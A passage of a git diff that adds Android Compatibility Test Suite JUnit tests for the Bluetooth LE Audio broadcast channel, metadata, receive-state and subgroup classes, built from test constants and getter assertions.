+                mBluetoothLeBroadcastAssistant.getConnectionState(null));
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify returns false if bluetooth is not enabled
+        assertEquals(BluetoothProfile.STATE_DISCONNECTED,
+                mBluetoothLeBroadcastAssistant.getConnectionState(testDevice));
+    }
+
+    @Test
+    public void testProfileSupportLogic() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        if (mAdapter.isLeAudioBroadcastAssistantSupported()
+                == BluetoothStatusCodes.FEATURE_NOT_SUPPORTED) {
+            assertFalse(mIsBroadcastAssistantSupported);
+            return;
+        }
+        assertTrue(mIsBroadcastAssistantSupported);
+    }
+
+    private boolean shouldSkipTest() {
+        return !(mHasBluetooth && mIsBroadcastAssistantSupported);
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedLock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedLock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class ServiceListener implements BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedLock.lock();
+            mBluetoothLeBroadcastAssistant = (BluetoothLeBroadcastAssistant) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedLock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+
+    static BluetoothLeBroadcastSubgroup createBroadcastSubgroup() {
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+        BluetoothLeAudioCodecConfigMetadata emptyMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder().build();
+        BluetoothLeBroadcastChannel channel = new BluetoothLeBroadcastChannel.Builder()
+                .setChannelIndex(42).setSelected(true).setCodecMetadata(emptyMetadata).build();
+        builder.addChannel(channel);
+        return builder.build();
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
new file mode 100644
index 0000000..e4d0577
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastChannelTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeBroadcastChannel;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastChannelTest {
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+    private static final int TEST_CHANNEL_INDEX = 42;
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(
+                            BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateBroadcastChannelFromBuilder() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeBroadcastChannel channel =
+                new BluetoothLeBroadcastChannel.Builder()
+                        .setSelected(true)
+                        .setChannelIndex(TEST_CHANNEL_INDEX)
+                        .setCodecMetadata(codecMetadata)
+                        .build();
+        assertTrue(channel.isSelected());
+        assertEquals(TEST_CHANNEL_INDEX, channel.getChannelIndex());
+        assertEquals(codecMetadata, channel.getCodecMetadata());
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, channel.getCodecMetadata().getAudioLocation());
+        assertNotNull(channel.getCodecMetadata());
+        assertEquals(codecMetadata, channel.getCodecMetadata());
+    }
+
+    @Test
+    public void testCreateBroadcastChannelFromCopy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeBroadcastChannel channel =
+                new BluetoothLeBroadcastChannel.Builder()
+                        .setSelected(true)
+                        .setChannelIndex(TEST_CHANNEL_INDEX)
+                        .setCodecMetadata(codecMetadata)
+                        .build();
+        BluetoothLeBroadcastChannel channelCopy =
+                new BluetoothLeBroadcastChannel.Builder(channel).build();
+        assertTrue(channelCopy.isSelected());
+        assertEquals(TEST_CHANNEL_INDEX, channelCopy.getChannelIndex());
+        assertEquals(codecMetadata, channelCopy.getCodecMetadata());
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT,
+                channelCopy.getCodecMetadata().getAudioLocation());
+        assertNotNull(channelCopy.getCodecMetadata());
+        assertEquals(channel.getCodecMetadata(), channelCopy.getCodecMetadata());
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
new file mode 100644
index 0000000..7ff121a
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastMetadataTest.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothLeBroadcastChannel;
+import android.bluetooth.BluetoothLeBroadcastMetadata;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastMetadataTest {
+    private static final String TEST_MAC_ADDRESS = "00:11:22:33:44:55";
+    private static final int TEST_BROADCAST_ID = 42;
+    private static final int TEST_ADVERTISER_SID = 1234;
+    private static final int TEST_PA_SYNC_INTERVAL = 100;
+    private static final int TEST_PRESENTATION_DELAY_MS = 345;
+
+    private static final int TEST_CODEC_ID = 42;
+    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+        new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+                .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+                .build()
+    };
+
+    // For BluetoothLeAudioCodecConfigMetadata
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+
+    // For BluetoothLeAudioContentMetadata
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    private static final String TEST_LANGUAGE = "deu";
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateMetadataFromBuilder() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothDevice testDevice =
+                mAdapter.getRemoteLeDevice(TEST_MAC_ADDRESS, BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                        .setEncrypted(false)
+                        .setSourceDevice(testDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                        .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                        .setBroadcastId(TEST_BROADCAST_ID)
+                        .setBroadcastCode(null)
+                        .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                        .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+        // builder expect at least one subgroup
+        assertThrows(IllegalArgumentException.class, builder::build);
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+        assertFalse(metadata.isEncrypted());
+        assertEquals(testDevice, metadata.getSourceDevice());
+        assertEquals(BluetoothDevice.ADDRESS_TYPE_RANDOM, metadata.getSourceAddressType());
+        assertEquals(TEST_ADVERTISER_SID, metadata.getSourceAdvertisingSid());
+        assertEquals(TEST_BROADCAST_ID, metadata.getBroadcastId());
+        assertNull(metadata.getBroadcastCode());
+        assertEquals(TEST_PA_SYNC_INTERVAL, metadata.getPaSyncInterval());
+        assertEquals(TEST_PRESENTATION_DELAY_MS, metadata.getPresentationDelayMicros());
+        assertArrayEquals(subgroups,
+                metadata.getSubgroups().toArray(new BluetoothLeBroadcastSubgroup[0]));
+        builder.clearSubgroup();
+        // builder expect at least one subgroup
+        assertThrows(IllegalArgumentException.class, builder::build);
+    }
+
+    @Test
+    public void testCreateMetadataFromCopy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothDevice testDevice =
+                mAdapter.getRemoteLeDevice(TEST_MAC_ADDRESS, BluetoothDevice.ADDRESS_TYPE_RANDOM);
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+        // builder expect at least one subgroup
+        assertThrows(IllegalArgumentException.class, builder::build);
+        BluetoothLeBroadcastSubgroup[] subgroups = new BluetoothLeBroadcastSubgroup[] {
+                createBroadcastSubgroup()
+        };
+        for (BluetoothLeBroadcastSubgroup subgroup : subgroups) {
+            builder.addSubgroup(subgroup);
+        }
+        BluetoothLeBroadcastMetadata metadata = builder.build();
+        BluetoothLeBroadcastMetadata metadataCopy =
+                new BluetoothLeBroadcastMetadata.Builder(metadata).build();
+        assertFalse(metadataCopy.isEncrypted());
+        assertEquals(testDevice, metadataCopy.getSourceDevice());
+        assertEquals(BluetoothDevice.ADDRESS_TYPE_RANDOM, metadataCopy.getSourceAddressType());
+        assertEquals(TEST_ADVERTISER_SID, metadataCopy.getSourceAdvertisingSid());
+        assertEquals(TEST_BROADCAST_ID, metadataCopy.getBroadcastId());
+        assertNull(metadataCopy.getBroadcastCode());
+        assertEquals(TEST_PA_SYNC_INTERVAL, metadataCopy.getPaSyncInterval());
+        assertEquals(TEST_PRESENTATION_DELAY_MS, metadataCopy.getPresentationDelayMicros());
+        assertArrayEquals(subgroups,
+                metadataCopy.getSubgroups().toArray(new BluetoothLeBroadcastSubgroup[0]));
+        builder.clearSubgroup();
+        // builder expect at least one subgroup
+        assertThrows(IllegalArgumentException.class, builder::build);
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+
+    static BluetoothLeBroadcastSubgroup createBroadcastSubgroup() {
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+        for (BluetoothLeBroadcastChannel channel : TEST_CHANNELS) {
+            builder.addChannel(channel);
+        }
+        return builder.build();
+    }
+
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
new file mode 100644
index 0000000..8f9b0f7
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastReceiveStateTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothLeBroadcastReceiveState;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastReceiveStateTest {
+    private static final int TEST_SOURCE_ID = 42;
+    private static final int TEST_SOURCE_ADDRESS_TYPE = BluetoothDevice.ADDRESS_TYPE_RANDOM;
+    private static final String TEST_MAC_ADDRESS = "00:11:22:33:44:55";
+    private static final int TEST_ADVERTISER_SID = 1234;
+    private static final int TEST_BROADCAST_ID = 45;
+    private static final int TEST_PA_SYNC_STATE =
+            BluetoothLeBroadcastReceiveState.PA_SYNC_STATE_SYNCHRONIZED;
+    private static final int TEST_BIG_ENCRYPTION_STATE =
+            BluetoothLeBroadcastReceiveState.BIG_ENCRYPTION_STATE_NOT_ENCRYPTED;
+    private static final int TEST_NUM_SUBGROUPS = 1;
+    private static final Long[] TEST_BIS_SYNC_STATE = {1L};
+    private static final BluetoothLeAudioContentMetadata[] TEST_SUBGROUP_METADATA = {null};
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateBroadcastReceiveState() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothDevice testDevice =
+                mAdapter.getRemoteLeDevice(TEST_MAC_ADDRESS, TEST_SOURCE_ADDRESS_TYPE);
+        BluetoothLeBroadcastReceiveState state = createBroadcastReceiveStateForTest(
+                TEST_SOURCE_ID,
+                TEST_SOURCE_ADDRESS_TYPE,
+                testDevice,
+                TEST_ADVERTISER_SID,
+                TEST_BROADCAST_ID,
+                TEST_PA_SYNC_STATE,
+                TEST_BIG_ENCRYPTION_STATE,
+                null /* badCode */,
+                TEST_NUM_SUBGROUPS,
+                Arrays.asList(TEST_BIS_SYNC_STATE),
+                Arrays.asList(TEST_SUBGROUP_METADATA));
+        assertEquals(TEST_SOURCE_ID, state.getSourceId());
+        assertEquals(TEST_SOURCE_ADDRESS_TYPE, state.getSourceAddressType());
+        assertEquals(testDevice, state.getSourceDevice());
+        assertEquals(TEST_ADVERTISER_SID, state.getSourceAdvertisingSid());
+        assertEquals(TEST_BROADCAST_ID, state.getBroadcastId());
+        assertEquals(TEST_PA_SYNC_STATE, state.getPaSyncState());
+        assertEquals(TEST_BIG_ENCRYPTION_STATE, state.getBigEncryptionState());
+        assertNull(state.getBadCode());
+        assertEquals(TEST_NUM_SUBGROUPS, state.getNumSubgroups());
+        assertArrayEquals(TEST_BIS_SYNC_STATE, state.getBisSyncState().toArray(new Long[0]));
+        assertArrayEquals(TEST_SUBGROUP_METADATA,
+                state.getSubgroupMetadata().toArray(new BluetoothLeAudioContentMetadata[0]));
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+
+    static BluetoothLeBroadcastReceiveState createBroadcastReceiveStateForTest(
+            int sourceId, int sourceAddressType,
+            BluetoothDevice sourceDevice, int sourceAdvertisingSid, int broadcastId,
+            int paSyncState, int bigEncryptionState, byte[] badCode, int numSubgroups,
+            List<Long> bisSyncState,
+            List<BluetoothLeAudioContentMetadata> subgroupMetadata) {
+        Parcel out = Parcel.obtain();
+        out.writeInt(sourceId);
+        out.writeInt(sourceAddressType);
+        out.writeTypedObject(sourceDevice, 0);
+        out.writeInt(sourceAdvertisingSid);
+        out.writeInt(broadcastId);
+        out.writeInt(paSyncState);
+        out.writeInt(bigEncryptionState);
+
+        if (badCode != null) {
+            out.writeInt(badCode.length);
+            out.writeByteArray(badCode);
+        } else {
+            // -1 indicates that there is no "bad broadcast code"
+            out.writeInt(-1);
+        }
+        out.writeInt(numSubgroups);
+        out.writeList(bisSyncState);
+        out.writeTypedList(subgroupMetadata);
+        out.setDataPosition(0); // reset position of parcel before passing to constructor
+        return BluetoothLeBroadcastReceiveState.CREATOR.createFromParcel(out);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
new file mode 100644
index 0000000..7279ef6
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastSubgroupTest.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothLeBroadcastChannel;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastSubgroupTest {
+    private static final int TEST_CODEC_ID = 42;
+    private static final BluetoothLeBroadcastChannel[] TEST_CHANNELS = {
+            new BluetoothLeBroadcastChannel.Builder().setChannelIndex(42).setSelected(true)
+                    .setCodecMetadata(new BluetoothLeAudioCodecConfigMetadata.Builder().build())
+                    .build()
+    };
+
+    // For BluetoothLeAudioCodecConfigMetadata
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+
+    // For BluetoothLeAudioContentMetadata
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    private static final String TEST_LANGUAGE = "deu";
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
